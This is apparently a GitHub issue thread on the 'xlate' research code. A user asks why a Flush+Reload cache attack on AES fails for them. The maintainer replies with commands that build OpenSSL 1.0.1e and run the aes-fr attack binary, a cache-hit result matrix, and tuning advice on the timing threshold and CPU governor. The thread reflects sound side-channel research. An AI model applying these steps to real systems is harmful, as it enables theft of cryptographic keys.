xlate
xlate copied to clipboard
Attack not working for me
I tried the flush+reload attack by following all the instructions in the readme However, on measuring the performance counters (with perf stat) under attack and under no attack, I am getting similar values. Especially, for cache-misses counter which should have been high in case of attack but is not. Is any change in the code required? Could anyone please help me out here.
Hi,
I just ran the following commands on an Intel Core i7-6700K (Skylake):
git clone https://github.com/vusec/xlate
cd xlate
wget https://ftp.openssl.org/source/old/1.0.1/openssl-1.0.1e.tar.gz
tar -xvzf openssl-1.0.1e.tar.gz
cd openssl-1.0.1e/
./config shared no-hw no-asm
make
cd ..
LD_LIBRARY_PATH="./openssl-1.0.1e:$LD_LIBRARY_PATH" ./obj/aes-fr openssl-1.0.1e/libcrypto.so > test.txt
These are the results I am getting (test.pdf):
998422 918992 919349 919696 918877 919652 919314 919399 919204 919817 919380 919440 919502 919343 919708 919561
918958 999994 919375 919728 919450 919069 919223 919645 919689 919200 919302 919372 919154 918777 919178 919137
919173 919189 999996 919383 919502 919156 918914 919308 919535 919393 919295 919153 919251 918803 919849 919231
918517 918725 919468 999998 919511 919278 918872 918971 919116 918718 919326 919306 919138 919463 918958 919388
919118 919282 919821 919296 1000000 918896 918930 919442 919431 919172 919180 919321 919471 918997 919167 919295
919511 919373 919337 919030 918944 999999 919093 919029 918949 919718 919229 919165 919348 918891 919291 919057
919077 919112 919120 919530 919037 919265 999998 919670 918839 919393 919805 919516 919331 919704 919104 919670
919320 919227 919993 919202 919041 919457 919422 999996 919056 919313 919587 919477 919360 919559 919088 918774
919279 919066 919554 918831 919241 919177 918469 919567 999998 919467 918955 918754 918989 919084 919258 919477
919323 919647 918934 919863 918928 918982 919043 919431 919191 999999 918919 919242 919072 919494 918923 919326
919056 918741 919439 919746 919260 919057 919482 919875 919268 919257 999999 919437 919396 919188 919358 919522
919301 919427 919547 919841 918954 919229 919350 919197 919233 919213 919190 999994 919605 919677 919211 919584
919224 918934 918955 919132 919822 919081 919006 919437 919884 918919 919628 918960 999998 919117 919466 919170
919317 919485 919513 919630 919125 919309 919707 919131 919016 919322 919664 919431 919133 999998 919088 920159
919323 919203 918856 919299 919906 919321 919645 919822 919325 919642 919286 918981 919264 919139 999997 919423
919378 919515 918739 919336 919167 919612 919357 919180 919551 919366 918957 919424 919507 919464 919193 999998
If it doesn't work on your machine, try tuning the threshold (the current one is set to 150 in source/aes-fr.c). Recently I performed a FLUSH + RELOAD attack on a toy library. This worked on about 15 micro-architectures (both Intel and AMD) using a threshold of 100.
Another suggestion is to set the governor to performance:
for c in $(ls -d /sys/devices/system/cpu/cpu[0-9]*); do echo performance >$c/cpufreq/scaling_governor; done
If you are using a laptop, make sure that it is connected to AC, otherwise your timings might be different.
Yours sincerely, Stephan.
The 100/150 is the number of cycles used as a threshold. So when we timing the cache accesses, everything below the threshold is a cache hit, everything above is a cache miss.
The numbers in the matrix are the number of cache hits. The diagonal line shows the highest number of cache hits. More information can be found in the paper.